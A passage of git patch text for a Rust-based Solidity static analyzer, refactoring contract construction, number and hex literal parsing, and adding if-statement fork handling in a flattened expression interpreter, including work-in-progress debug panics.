b/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs index 0a5d6b85..1fc27aec 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs @@ -1,22 +1,17 @@ -use crate::context_builder::ExpressionParser; -use crate::func_call::func_caller::FuncCaller; -use crate::func_caller::NamedOrUnnamedArgs; use crate::{ - func_call::helper::CallerHelper, + context_builder::ExpressionParser, + func_call::{func_caller::FuncCaller, helper::CallerHelper}, + func_caller::NamedOrUnnamedArgs, intrinsic_call::{ AbiCaller, AddressCaller, ArrayCaller, BlockCaller, ConstructorCaller, DynBuiltinCaller, MsgCaller, PrecompileCaller, SolidityCaller, TypesCaller, }, ContextBuilder, }; -use graph::nodes::ContextVar; -use graph::nodes::ContextVarNode; -use graph::nodes::ContractNode; - use graph::{ elem::Elem, - nodes::{Builtin, Concrete, ContextNode, ExprRet}, - AnalyzerBackend, Node, + nodes::{Builtin, Concrete, ContextNode, ContextVar, ContextVarNode, ContractNode, ExprRet}, + AnalyzerBackend, Node, TypeNode, VarType, }; use shared::{ExprErr, IntoExprErr, NodeIdx, RangeArena}; @@ -62,42 +57,70 @@ impl IntrinsicFuncCaller for T where pub trait IntrinsicFuncCaller: AnalyzerBackend + Sized + CallerParts { - fn new_call( + fn new_call_inner( &mut self, arena: &mut RangeArena>, - loc: &Loc, - ty_expr: &Expression, - inputs: &[Expression], + loc: Loc, + ty_idx: NodeIdx, + inputs: ExprRet, ctx: ContextNode, ) -> Result<(), ExprErr> { - self.parse_ctx_expr(arena, ty_expr, ctx)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let Some(ty) = - ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoLhs( - loc, - "No type given for call to `new`".to_string(), - )); - }; - let ty_idx = ty.expect_single().into_expr_err(loc)?; - match analyzer.node(ty_idx) { - Node::Builtin(Builtin::Array(_)) | Node::Builtin(Builtin::DynamicBytes) => { - // construct a new list - analyzer.construct_array(arena,ty_idx, &NamedOrUnnamedArgs::Unnamed(inputs), loc, ctx) - } - Node::Contract(_c) => { - let cnode = ContractNode::from(ty_idx); - if let Some(constructor) = cnode.constructor(analyzer) { - let params = constructor.params(analyzer); - if params.is_empty() { + match self.node(ty_idx) { + Node::Builtin(_) => { + assert!(inputs.len() == 1); + self.construct_array_inner(arena, ty_idx, inputs, loc, ctx) + } + Node::Contract(_) => { + let cnode = ContractNode::from(ty_idx); + if let Some(constructor) = cnode.constructor(self) { + let params = constructor.params(self); + if params.is_empty() { + // call the constructor + let inputs = ExprRet::Multi(vec![]); + self.func_call( + arena, + ctx, + loc, + &inputs, + constructor, + None, + None, + )?; + self.apply_to_edges(ctx, loc, arena, &|analyzer, _arena, ctx, loc| { + let var = match ContextVar::maybe_from_user_ty(analyzer, loc, ty_idx) { + Some(v) => v, + None => { + return Err(ExprErr::VarBadType( + loc, + format!( + "Could not create context variable from user type: {:?}", + analyzer.node(ty_idx) + ), + )) + } + }; + let contract_cvar = + ContextVarNode::from(analyzer.add_node(Node::ContextVar(var))); + ctx.push_expr(ExprRet::Single(contract_cvar.into()), analyzer) + .into_expr_err(loc) + }) + } else { + + self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { + let Some(input_paths) = + ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + else { + return Err(ExprErr::NoRhs( + loc, + "No inputs for constructor and expected some".to_string(), + )); + }; // call the constructor - let inputs = ExprRet::Multi(vec![]); analyzer.func_call( arena, ctx, loc, - &inputs, + &input_paths, constructor, None, None, @@ -120,68 +143,55 @@ pub trait IntrinsicFuncCaller: ctx.push_expr(ExprRet::Single(contract_cvar.into()), analyzer) .into_expr_err(loc) }) - } else { - analyzer.parse_inputs(arena,ctx, loc, inputs)?; - analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(input_paths) = - ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoRhs( - loc, - "No inputs for constructor and expected some".to_string(), - )); - }; - // call the constructor - analyzer.func_call( - arena, - ctx, - loc, - &input_paths, - constructor, - None, - None, - )?; - analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, _arena, ctx, loc| { - let var = match ContextVar::maybe_from_user_ty(analyzer, loc, ty_idx) { - Some(v) => v, - None => { - return Err(ExprErr::VarBadType( - loc, - format!( - "Could not create context variable from user type: {:?}", - analyzer.node(ty_idx) - ), - )) - } - }; - let contract_cvar = - ContextVarNode::from(analyzer.add_node(Node::ContextVar(var))); - ctx.push_expr(ExprRet::Single(contract_cvar.into()), analyzer) - .into_expr_err(loc) - }) - }) - } - } else { - let var = match ContextVar::maybe_from_user_ty(analyzer, loc, ty_idx) { - Some(v) => v, - None => { - return Err(ExprErr::VarBadType( - loc, - format!( - "Could not create context variable from user type: {:?}", - analyzer.node(ty_idx) - ), - )) - } - }; - let contract_cvar = - ContextVarNode::from(analyzer.add_node(Node::ContextVar(var))); - ctx.push_expr(ExprRet::Single(contract_cvar.into()), analyzer) - .into_expr_err(loc) + }) } + } else { + let var = match ContextVar::maybe_from_user_ty(self, loc, ty_idx) { + Some(v) => v, + None => { + return Err(ExprErr::VarBadType( + loc, + format!( + "Could not create context variable from user type: {:?}", + self.node(ty_idx) + ), + )) + } + }; + let contract_cvar = + ContextVarNode::from(self.add_node(Node::ContextVar(var))); + ctx.push_expr(ExprRet::Single(contract_cvar.into()), self) + .into_expr_err(loc) } - e => Err(ExprErr::ParseError(loc, format!("Tried to construct a new element of a type ({e:?}) that doesn't support the `new` keyword"))) } + e => Err(ExprErr::ParseError(loc, format!("Tried to construct a new element of a type ({e:?}) that doesn't support the `new` keyword"))) + } + } + + fn new_call( + &mut self, + arena: &mut RangeArena>, + loc: &Loc, + ty_expr: &Expression, + inputs: &[Expression], + ctx: ContextNode, + ) -> Result<(), ExprErr> { + self.parse_ctx_expr(arena, ty_expr, ctx)?; + self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { + let Some(ty) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { + return Err(ExprErr::NoLhs( + loc, + "No type given for call to `new`".to_string(), + )); + }; + + panic!("here") + // let as_cvar = + // ContextVarNode::from(analyzer.add_node( + // ContextVar::maybe_from_user_ty(self, loc, ty.expect_single()?).unwrap(), + // )); + + // self.new_call_inner(arena, loc, as_cvar, inputs, ctx) }) } diff --git a/crates/solc-expressions/src/list.rs b/crates/solc-expressions/src/list.rs index 52a24f25..eb9d01aa 100644 --- a/crates/solc-expressions/src/list.rs +++ b/crates/solc-expressions/src/list.rs @@ -34,7 +34,7 @@ pub trait List: AnalyzerBackend + Sized { ctx.push_expr(ret, analyzer).into_expr_err(loc)?; return Ok(()); } - ctx.append_tmp_expr(analyzer.match_ty(ctx, &loc, &ret, input)?, analyzer) + ctx.append_tmp_expr(analyzer.match_input_ty(ctx, &loc, &ret, input)?, analyzer) .into_expr_err(loc) }) } else { @@ -56,7 +56,7 @@ pub trait List: AnalyzerBackend + Sized { }) } - fn match_ty( + fn match_input_ty( &mut self, ctx: ContextNode, loc: &Loc, @@ -117,7 +117,7 @@ pub trait List: AnalyzerBackend + Sized { ExprRet::Multi(inner) => Ok(ExprRet::Multi( inner .iter() - .map(|i| self.match_ty(ctx, loc, i, input)) + .map(|i| self.match_input_ty(ctx, loc, i, input)) .collect::>()?, )), ExprRet::CtxKilled(kind) => Ok(ExprRet::CtxKilled(*kind)), diff --git a/crates/solc-expressions/src/literal.rs b/crates/solc-expressions/src/literal.rs index 6ced7c03..d0aee7d9 100644 --- a/crates/solc-expressions/src/literal.rs +++ b/crates/solc-expressions/src/literal.rs @@ -20,7 +20,7 @@ pub trait Literal: AnalyzerBackend + Sized { integer: &str, exponent: &str, negative: bool, - unit: &Option, + unit: Option<&str>, ) -> Result { let Ok(int) = U256::from_dec_str(integer) else { return Err(ExprErr::ParseError( @@ -69,7 +69,7 @@ pub trait Literal: AnalyzerBackend + Sized { integer: &str, exponent: &str, negative: bool, - unit: &Option, + unit: Option<&str>, ) -> Result<(), ExprErr> { let conc = self.concrete_number_from_str(loc, integer, exponent, negative, unit)?; let concrete_node = ConcreteNode::from(self.add_node(Node::Concrete(conc))); @@ -84,8 +84,8 @@ pub trait Literal: AnalyzerBackend + Sized { Ok(()) } - fn unit_to_uint(&self, unit: &Identifier) -> U256 { - match &*unit.name { + fn unit_to_uint(&self, unit: &str) -> U256 { + match unit { "gwei" => U256::from(10).pow(9.into()), "ether" => U256::from(10).pow(18.into()), "minutes" => U256::from(60), @@ -105,7 +105,7 @@ pub trait Literal: AnalyzerBackend + Sized { integer: &str, fraction: &str, exponent: &str, - unit: &Option, + unit: Option<&str>, negative: bool, ) -> Result<(), ExprErr> { let int = @@ -229,16 +229,11 @@ pub trait Literal: AnalyzerBackend + Sized { } /// hex"123123" - fn hex_literals(&mut self, ctx: ContextNode, hexes: &[HexLiteral]) -> Result<(), ExprErr> { + fn hex_literals(&mut self, ctx: ContextNode, loc: Loc, hex: &str) -> Result<(), ExprErr> { let mut h = vec![]; - hexes.iter().for_each(|sub_hex| { - if let Ok(hex_val) = hex::decode(&sub_hex.hex) { - h.extend(hex_val) - } - }); - - let mut loc = hexes[0].loc; - loc.use_end_from(&hexes[hexes.len() - 1].loc); + if let Ok(hex_val) = hex::decode(hex) { + h.extend(hex_val) + } let concrete_node = if h.len() <= 32 { let mut target = H256::default(); @@ -311,22 +306,10 @@ pub trait Literal: AnalyzerBackend + Sized { } let min = self - .concrete_number_from_str( - Loc::Implicit, - min_str, - "", - min_neg, - &None, - ) + .concrete_number_from_str(Loc::Implicit, min_str, "", min_neg, None) .ok()?; let max = self - .concrete_number_from_str( - Loc::Implicit, - max_str, - "", - max_neg, - &None, - ) + .concrete_number_from_str(Loc::Implicit, max_str, "", max_neg, None) .ok()?; Some(TestCommand::Variable( diff --git a/crates/solc-expressions/src/yul/yul_builder.rs b/crates/solc-expressions/src/yul/yul_builder.rs index 6cc709c1..66b8e92c 100644 --- a/crates/solc-expressions/src/yul/yul_builder.rs +++ b/crates/solc-expressions/src/yul/yul_builder.rs @@ -34,6 +34,7 @@ pub trait YulBuilder: ) where Self: Sized, { + panic!("here"); if let Some(true) = self.add_if_err(ctx.is_ended(self).into_expr_err(stmt.loc())) { return; } @@ -58,6 +59,7 @@ pub trait YulBuilder: ) where Self: Sized, { + panic!("here"); use YulStatement::*; // println!("ctx: {}, yul stmt: {:?}", ctx.path(self), stmt); @@ -299,76 +301,77 @@ pub trait YulBuilder: expr: &YulExpression, ctx: ContextNode, ) -> Result<(), ExprErr> { - use YulExpression::*; - match expr { - BoolLiteral(loc, b, _) => self.bool_literal(ctx, *loc, *b), - NumberLiteral(loc, int, expr, unit) => { - self.number_literal(ctx, *loc, int, expr, false, unit) - } - HexNumberLiteral(loc, b, _unit) => self.hex_num_literal(ctx, *loc, b, false), - HexStringLiteral(lit, _) => self.hex_literals(ctx, &[lit.clone()]), - StringLiteral(lit, _) => self.string_literal(ctx, lit.loc, &lit.string), - Variable(ident) => { - self.variable(arena, ident, ctx, None, None)?; - self.apply_to_edges(ctx, ident.loc, arena, &|analyzer, _arena, edge_ctx, loc| { - if let Some(ret) = edge_ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? { - if ContextVarNode::from(ret.expect_single().into_expr_err(loc)?) - .is_memory(analyzer) - .into_expr_err(loc)? - { - // its a memory based variable, push a uint instead - let b = Builtin::Uint(256); - let var = ContextVar::new_from_builtin( - loc, - analyzer.builtin_or_add(b).into(), - analyzer, - ) - .into_expr_err(loc)?; - let node = analyzer.add_node(Node::ContextVar(var)); - edge_ctx - .push_expr(ExprRet::Single(node), analyzer) - .into_expr_err(loc) - } else { - edge_ctx.push_expr(ret, analyzer).into_expr_err(loc) - } - } else { - Err(ExprErr::Unresolved( - ident.loc, - format!("Could not find variable with name: {}", ident.name), - )) - } - }) - } - FunctionCall(yul_func_call) => self.yul_func_call(arena, yul_func_call, ctx), - SuffixAccess(loc, yul_member_expr, ident) => { - self.parse_inputs(arena, ctx, *loc, &[*yul_member_expr.clone()])?; + panic!("here"); + // use YulExpression::*; + // match expr { + // BoolLiteral(loc, b, _) => self.bool_literal(ctx, *loc, *b), + // NumberLiteral(loc, int, expr, unit) => { + // self.number_literal(ctx, *loc, int, expr, false, unit) + // } + // HexNumberLiteral(loc, b, _unit) => self.hex_num_literal(ctx, *loc, b, false), + // HexStringLiteral(lit, _) => self.hex_literals(ctx, &[lit.clone()]), + // StringLiteral(lit, _) => self.string_literal(ctx, lit.loc, &lit.string), + // Variable(ident) => { + // self.variable(arena, ident, ctx, None, None)?; + // self.apply_to_edges(ctx, ident.loc, arena, &|analyzer, _arena, edge_ctx, loc| { + // if let Some(ret) = edge_ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? { + // if ContextVarNode::from(ret.expect_single().into_expr_err(loc)?) + // .is_memory(analyzer) + // .into_expr_err(loc)? + // { + // // its a memory based variable, push a uint instead + // let b = Builtin::Uint(256); + // let var = ContextVar::new_from_builtin( + // loc, + // analyzer.builtin_or_add(b).into(), + // analyzer, + // ) + // .into_expr_err(loc)?; + // let node = analyzer.add_node(Node::ContextVar(var)); + // edge_ctx + // .push_expr(ExprRet::Single(node), analyzer) + // .into_expr_err(loc) + // } else { + // edge_ctx.push_expr(ret, analyzer).into_expr_err(loc) + // } + // } else { + // Err(ExprErr::Unresolved( + // ident.loc, + // format!("Could not find variable with name: {}", ident.name), + // )) + // } + // }) + // } + // FunctionCall(yul_func_call) => self.yul_func_call(arena, yul_func_call, ctx), + // SuffixAccess(loc, yul_member_expr, ident) => { + // self.parse_inputs(arena, ctx, *loc, &[*yul_member_expr.clone()])?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { - let Ok(Some(lhs)) = ctx.pop_expr_latest(loc, analyzer) else { - return Err(ExprErr::NoLhs( - loc, - "`.slot` had no left hand side".to_string(), - )); - }; - match &*ident.name { - "slot" => { - let slot_var = analyzer.slot( - ctx, - loc, - lhs.expect_single().into_expr_err(loc)?.into(), - ); - ctx.push_expr(ExprRet::Single(slot_var.into()), analyzer) - .into_expr_err(loc)?; - Ok(()) - } - _ => Err(ExprErr::Todo( - expr.loc(), - format!("Yul member access `{}` not yet supported", ident.name), - )), - } - }) - } - } + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { + // let Ok(Some(lhs)) = ctx.pop_expr_latest(loc, analyzer) else { + // return Err(ExprErr::NoLhs( + // loc, + // "`.slot` had no left hand side".to_string(), + // )); + // }; + // match &*ident.name { + // "slot" => { + // let slot_var = analyzer.slot( + // ctx, + // loc, + // lhs.expect_single().into_expr_err(loc)?.into(), + // ); + // ctx.push_expr(ExprRet::Single(slot_var.into()), analyzer) + // .into_expr_err(loc)?; + // Ok(()) + // } + // _ => Err(ExprErr::Todo( + // expr.loc(), + // format!("Yul member access `{}` not yet supported", ident.name), + // )), + // } + // }) + // } + // } } /// Match [`ExprRet`] from the sides of an `YulAssign` to perform the assignment From b9e83d1549507d675776dbf9716123e151ae5969 Mon Sep 17 00:00:00 2001 From: brock elmore Date: Mon, 15 Jul 2024 13:48:38 -0700 Subject: [PATCH 03/52] ifs --- crates/graph/src/nodes/context/typing.rs | 10 ++ crates/graph/src/nodes/context/underlying.rs | 9 ++ crates/shared/src/analyzer_like.rs | 10 +- crates/shared/src/flattened.rs | 14 +- .../src/context_builder/flattened.rs | 141 ++++++++++++++---- crates/solc-expressions/src/literal.rs | 14 +- 6 files changed, 154 insertions(+), 44 deletions(-) diff --git a/crates/graph/src/nodes/context/typing.rs b/crates/graph/src/nodes/context/typing.rs index be3a1ae0..f81bda13 100644 --- a/crates/graph/src/nodes/context/typing.rs +++ b/crates/graph/src/nodes/context/typing.rs @@ -12,6 +12,16 @@ impl ContextNode { Ok(underlying.fn_call.is_none() && underlying.ext_fn_call.is_none() && !underlying.is_fork) } + pub fn was_true_fork(&self, analyzer: &impl GraphBackend) -> Result { + let underlying = self.underlying(analyzer)?; + Ok(matches!(underlying.fork_true_false, Some(true))) + } + + pub fn was_false_fork(&self, analyzer: &impl GraphBackend) -> Result { + let underlying = self.underlying(analyzer)?; + Ok(matches!(underlying.fork_true_false, Some(true))) + } + pub fn has_continuation(&self, analyzer: &impl GraphBackend) -> Result { Ok(self.underlying(analyzer)?.continuation_of.is_some()) } diff --git a/crates/graph/src/nodes/context/underlying.rs b/crates/graph/src/nodes/context/underlying.rs index 604fa4b2..0a9d4a3f 100644 --- a/crates/graph/src/nodes/context/underlying.rs +++ b/crates/graph/src/nodes/context/underlying.rs @@ -31,6 +31,8 @@ pub struct Context { pub killed: Option<(Loc, KilledKind)>, /// Denotes whether this context is a fork of another context pub is_fork: bool, + /// Denotes whether this was the true path of a fork + pub fork_true_false: Option, /// Denotes whether this context is the result of a internal function call, and points to the FunctionNode pub fn_call: Option, /// Denotes whether this context is the result of a internal function call, and points to the FunctionNode @@ -77,6 +79,7 @@ impl Context { killed: None, ctx_deps: Default::default(), is_fork: false, + fork_true_false: None, fn_call: None, ext_fn_call: None, child: None, @@ -176,6 +179,11 @@ impl Context { continuation_of: None, path, is_fork: fork_expr.is_some(), + fork_true_false: match fork_expr { + Some("true") => Some(true), + Some("false") => Some(false), + _ => None, + }, fn_call, ext_fn_call, ctx_deps: parent_ctx.underlying(analyzer)?.ctx_deps.clone(), @@ -275,6 +283,7 @@ impl Context { returning_ctx: None, continuation_of: None, is_fork: false, + fork_true_false: None, fn_call: None, ext_fn_call: None, ctx_deps: parent_ctx.underlying(analyzer)?.ctx_deps.clone(), diff --git a/crates/shared/src/analyzer_like.rs b/crates/shared/src/analyzer_like.rs index e0783963..0634237b 100644 --- a/crates/shared/src/analyzer_like.rs +++ b/crates/shared/src/analyzer_like.rs @@ -195,10 +195,18 @@ pub trait AnalyzerLike: GraphLike { ) -> Result, GraphError>; type FlatExpr; - type ExprFlag; + type ExprFlag: Copy; fn push_expr(&mut self, flat: Self::FlatExpr); fn expr_stack(&self) -> &[Self::FlatExpr]; fn expr_stack_mut(&mut self) -> &mut Vec; fn take_expr_flag(&mut self) -> Option; fn set_expr_flag(&mut self, flag: Self::ExprFlag); + fn peek_flag(&mut self) -> Option { + let flag = self.take_expr_flag(); + if let Some(f) = flag { + self.set_expr_flag(f); + } + + flag + } } diff --git a/crates/shared/src/flattened.rs b/crates/shared/src/flattened.rs index 165a46bb..c50f6096 100644 --- a/crates/shared/src/flattened.rs +++ b/crates/shared/src/flattened.rs @@ -7,16 +7,20 @@ pub enum ExprFlag { FunctionName(usize), New, Negate, - Skip, + OnlyTrueFork, + OnlyFalseFork, } #[derive(Debug, Clone, Copy)] pub enum FlatExpr { VarDef(Loc, Option<&'static str>, Option, bool), - If(Loc), - EndIfCond, - EndIfTrue, - EndIfElseFalse, + If { + loc: Loc, + true_cond: usize, + false_cond: usize, + true_body: usize, + false_body: usize, + }, FunctionCallName(usize), diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index fd965b04..95120f93 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -15,7 +15,7 @@ use graph::{ }; use shared::{ - string_to_static, AnalyzerLike, ExprErr, ExprFlag, FlatExpr, IntoExprErr, RangeArena, + string_to_static, AnalyzerLike, ExprErr, ExprFlag, FlatExpr, IntoExprErr, NodeIdx, RangeArena, StorageLocation, }; use solang_parser::pt::Identifier; @@ -69,10 +69,15 @@ pub trait Flatten: Args(_loc, _args) => {} If(loc, if_expr, true_body, None) => { self.push_expr(FlatExpr::If(*loc)); + self.push_expr(FlatExpr::IfOnlyTrue); self.traverse_expression(if_expr); + self.push_expr(FlatExpr::IfOnlyFalse); + self.traverse_expression(if_expr); + self.push_expr(FlatExpr::Not(*loc)); self.push_expr(FlatExpr::EndIfCond); + self.push_expr(FlatExpr::IfOnlyTrueBody); self.traverse_statement(true_body); - self.push_expr(FlatExpr::EndIfTrue); + self.push_expr(FlatExpr::EndIfTrueBody); } If(loc, if_expr, true_body, Some(false_body)) => { self.push_expr(FlatExpr::IfElse(*loc)); @@ -299,6 +304,31 @@ pub trait Flatten: } } + fn skip_this_ctx(&mut self, ctx: ContextNode) -> bool { + let flag = self.take_expr_flag(); + match flag { + Some(ExprFlag::OnlyTrueFork) => { + if !ctx.was_true_fork(self).unwrap() { + self.set_expr_flag(flag.unwrap()); + return true; + } + } + Some(ExprFlag::OnlyFalseFork) => { + if !ctx.was_false_fork(self).unwrap() { + self.set_expr_flag(flag.unwrap()); + return true; + } + } + _ => {} + } + + if let Some(flag) = flag { + self.set_expr_flag(flag); + } + + false + } + fn interpret_expr( &mut self, arena: &mut RangeArena>, @@ -306,7 +336,17 @@ pub trait Flatten: next: FlatExpr, ) -> Result<(), ExprErr> { use FlatExpr::*; - tracing::trace!("parsing {:?} in context {}", next, ctx.path(self)); + + if self.skip_this_ctx(ctx) { + return Ok(()); + } + + tracing::trace!( + "parsing {:?} in context {} - flag: {:?}", + next, + ctx.path(self), + self.peek_flag() + ); match next { // Flag expressions FunctionCallName(n) => { @@ -321,6 +361,15 @@ pub trait Flatten: self.set_expr_flag(ExprFlag::New); Ok(()) } + IfOnlyTrue => { + self.set_expr_flag(ExprFlag::OnlyTrueFork); + Ok(()) + } + IfOnlyFalse => { + let _ = self.take_expr_flag(); + self.set_expr_flag(ExprFlag::OnlyFalseFork); + Ok(()) + } // Literals AddressLiteral(loc, lit) => self.address_literal(ctx, loc, lit), @@ -344,7 +393,38 @@ pub trait Flatten: Equal(loc) | NotEqual(loc) | Less(loc) | More(loc) | LessEqual(loc) | MoreEqual(loc) => self.interp_cmp(arena, ctx, loc, next), - If(..) => Ok(()), + If(loc) => { + let tctx = + Context::new_subctx(ctx, None, loc, Some("true"), None, false, self, None) + .into_expr_err(loc)?; + let true_subctx = ContextNode::from(self.add_node(Node::Context(tctx))); + let fctx = + Context::new_subctx(ctx, None, loc, Some("false"), None, false, self, None) + .into_expr_err(loc)?; + let false_subctx = ContextNode::from(self.add_node(Node::Context(fctx))); + ctx.set_child_fork(true_subctx, false_subctx, self) + .into_expr_err(loc)?; + true_subctx + .set_continuation_ctx(self, ctx, "fork_true") + .into_expr_err(loc)?; + false_subctx + .set_continuation_ctx(self, ctx, "fork_false") + .into_expr_err(loc)?; + let ctx_fork = self.add_node(Node::ContextFork); + self.add_edge(ctx_fork, ctx, Edge::Context(ContextEdge::ContextFork)); + self.add_edge( + NodeIdx::from(true_subctx.0), + ctx_fork, + Edge::Context(ContextEdge::Subcontext), + ); + self.add_edge( + NodeIdx::from(false_subctx.0), + ctx_fork, + Edge::Context(ContextEdge::Subcontext), + ); + + Ok(()) + } IfElse(..) => Ok(()), other => { tracing::trace!("unhandled: {other:?}"); @@ -467,32 +547,37 @@ pub trait Flatten: unreachable!() }; - if let Some(ExprFlag::FunctionName(n)) = self.take_expr_flag() { - let maybe_fn = self - .find_func(arena, ctx, name.to_string(), n) - .into_expr_err(loc)?; - if let Some(fn_node) = maybe_fn { - let as_var = ContextVar::maybe_from_user_ty(self, loc, fn_node.into()).unwrap(); - let fn_var = ContextVarNode::from(self.add_node(as_var)); - ctx.add_var(fn_var, self).into_expr_err(loc)?; - self.add_edge(fn_var, ctx, Edge::Context(ContextEdge::Variable)); - ctx.push_expr(ExprRet::Single(fn_var.into()), self) - .into_expr_err(loc) - } else { - Ok(()) + match self.take_expr_flag() { + Some(ExprFlag::FunctionName(n)) => { + let maybe_fn = self + .find_func(arena, ctx, name.to_string(), n) + .into_expr_err(loc)?; + return if let Some(fn_node) = maybe_fn { + let as_var = ContextVar::maybe_from_user_ty(self, loc, fn_node.into()).unwrap(); + let fn_var = ContextVarNode::from(self.add_node(as_var)); + ctx.add_var(fn_var, self).into_expr_err(loc)?; + self.add_edge(fn_var, ctx, Edge::Context(ContextEdge::Variable)); + ctx.push_expr(ExprRet::Single(fn_var.into()), self) + .into_expr_err(loc) + } else { + Ok(()) + }; } - } else { - self.variable( - arena, - &solang_parser::pt::Identifier { - loc, - name: name.to_string(), - }, - ctx, - None, - None, - ) + Some(other) => { + self.set_expr_flag(other); + } + _ => {} } + self.variable( + arena, + &solang_parser::pt::Identifier { + loc, + name: name.to_string(), + }, + ctx, + None, + None, + ) } fn interp_assign( diff --git a/crates/solc-expressions/src/literal.rs b/crates/solc-expressions/src/literal.rs index d0aee7d9..a153c809 100644 --- a/crates/solc-expressions/src/literal.rs +++ b/crates/solc-expressions/src/literal.rs @@ -393,7 +393,7 @@ mod tests { num_literal: &str, exponent: &str, negative: bool, - unit: Option, + unit: Option<&str>, expected: Concrete, ) -> Result<()> { // setup @@ -407,7 +407,7 @@ mod tests { let loc = Loc::File(0, 0, 0); // create a number literal - analyzer.number_literal(ctx, loc, num_literal, exponent, negative, &unit)?; + analyzer.number_literal(ctx, loc, num_literal, exponent, negative, unit)?; // checks let stack = &ctx.underlying(&analyzer)?.expr_ret_stack; @@ -481,10 +481,7 @@ mod tests { fn test_number_literal_positive_with_zero_exponent_and_unit() -> Result<()> { let num_literal = "123"; let exponent = "0"; - let unit = Some(Identifier { - name: "ether".into(), - loc: Loc::File(0, 0, 0), - }); + let unit = Some("ether"); let expected = Concrete::Uint(72, U256::from_dec_str("123000000000000000000").unwrap()); test_number_literal(num_literal, exponent, false, unit, expected) } @@ -493,10 +490,7 @@ mod tests { fn test_number_literal_positive_with_unit() -> Result<()> { let num_literal = "123"; let exponent = ""; - let unit = Some(Identifier { - name: "ether".into(), - loc: Loc::File(0, 0, 0), - }); + let unit = Some("ether"); let expected = Concrete::Uint(72, U256::from_dec_str("123000000000000000000").unwrap()); test_number_literal(num_literal, exponent, false, unit, expected) } From c36c1e4c9dec87fd3e7e23b2a2f2452e3d8dd8f7 Mon Sep 17 00:00:00 2001 From: brock elmore Date: Mon, 15 Jul 2024 15:10:25 -0700 Subject: [PATCH 04/52] ifs working --- crates/graph/src/nodes/context/typing.rs | 20 +- crates/graph/src/nodes/context/underlying.rs | 14 +- crates/shared/src/flattened.rs | 2 - .../src/context_builder/flattened.rs | 243 +++++++++++++----- 4 files changed, 196 insertions(+), 83 deletions(-) diff --git a/crates/graph/src/nodes/context/typing.rs b/crates/graph/src/nodes/context/typing.rs index f81bda13..f7852b39 100644 --- a/crates/graph/src/nodes/context/typing.rs +++ b/crates/graph/src/nodes/context/typing.rs @@ -4,6 +4,8 @@ use crate::{ }; use shared::GraphError; +use super::underlying; + impl ContextNode { /// Checks if its an anonymous function call (i.e. loop) pub fn is_anonymous_fn_call(&self, analyzer: &impl GraphBackend) -> Result { @@ -12,14 +14,20 @@ impl ContextNode { Ok(underlying.fn_call.is_none() && underlying.ext_fn_call.is_none() && !underlying.is_fork) } - pub fn was_true_fork(&self, analyzer: &impl GraphBackend) -> Result { - let underlying = self.underlying(analyzer)?; - Ok(matches!(underlying.fork_true_false, Some(true))) + pub fn increment_parse_idx(&self, analyzer: &mut impl AnalyzerBackend) -> usize { + let underlying_mut = self.underlying_mut(analyzer).unwrap(); + let curr = underlying_mut.parse_idx; + underlying_mut.parse_idx += 1; + curr } - pub fn was_false_fork(&self, analyzer: &impl GraphBackend) -> Result { - let underlying = self.underlying(analyzer)?; - Ok(matches!(underlying.fork_true_false, Some(true))) + pub fn skip_n_exprs(&self, n: usize, analyzer: &mut impl AnalyzerBackend) { + let underlying_mut = self.underlying_mut(analyzer).unwrap(); + underlying_mut.parse_idx += n; + } + + pub fn parse_idx(&self, analyzer: &impl GraphBackend) -> usize { + self.underlying(analyzer).unwrap().parse_idx } pub fn has_continuation(&self, analyzer: &impl GraphBackend) -> Result { diff --git a/crates/graph/src/nodes/context/underlying.rs b/crates/graph/src/nodes/context/underlying.rs index 0a9d4a3f..8674e157 100644 --- a/crates/graph/src/nodes/context/underlying.rs +++ b/crates/graph/src/nodes/context/underlying.rs @@ -14,6 +14,8 @@ use std::collections::BTreeSet; #[derive(Debug, Clone, Eq, PartialEq)] pub struct Context { + /// The current parse index of the stack + pub parse_idx: usize, /// The function associated with this context pub parent_fn: FunctionNode, /// Whether this function call is actually a modifier call @@ -31,8 +33,6 @@ pub struct Context { pub killed: Option<(Loc, KilledKind)>, /// Denotes whether this context is a fork of another context pub is_fork: bool, - /// Denotes whether this was the true path of a fork - pub fork_true_false: Option, /// Denotes whether this context is the result of a internal function call, and points to the FunctionNode pub fn_call: Option, /// Denotes whether this context is the result of a internal function call, and points to the FunctionNode @@ -70,6 +70,7 @@ impl Context { /// Creates a new context from a function pub fn new(parent_fn: FunctionNode, fn_name: String, loc: Loc) -> Self { Context { + parse_idx: 0, parent_fn, parent_ctx: None, returning_ctx: None, @@ -79,7 +80,6 @@ impl Context { killed: None, ctx_deps: Default::default(), is_fork: false, - fork_true_false: None, fn_call: None, ext_fn_call: None, child: None, @@ -173,17 +173,13 @@ impl Context { tracing::trace!("new subcontext path: {path}, depth: {depth}"); Ok(Context { + parse_idx: parent_ctx.parse_idx(analyzer), parent_fn, parent_ctx: Some(parent_ctx), returning_ctx, continuation_of: None, path, is_fork: fork_expr.is_some(), - fork_true_false: match fork_expr { - Some("true") => Some(true), - Some("false") => Some(false), - _ => None, - }, fn_call, ext_fn_call, ctx_deps: parent_ctx.underlying(analyzer)?.ctx_deps.clone(), @@ -277,13 +273,13 @@ impl Context { tracing::trace!("new subcontext path: {path}, depth: {depth}"); Ok(Context { + parse_idx: parent_ctx.parse_idx(analyzer), parent_fn, 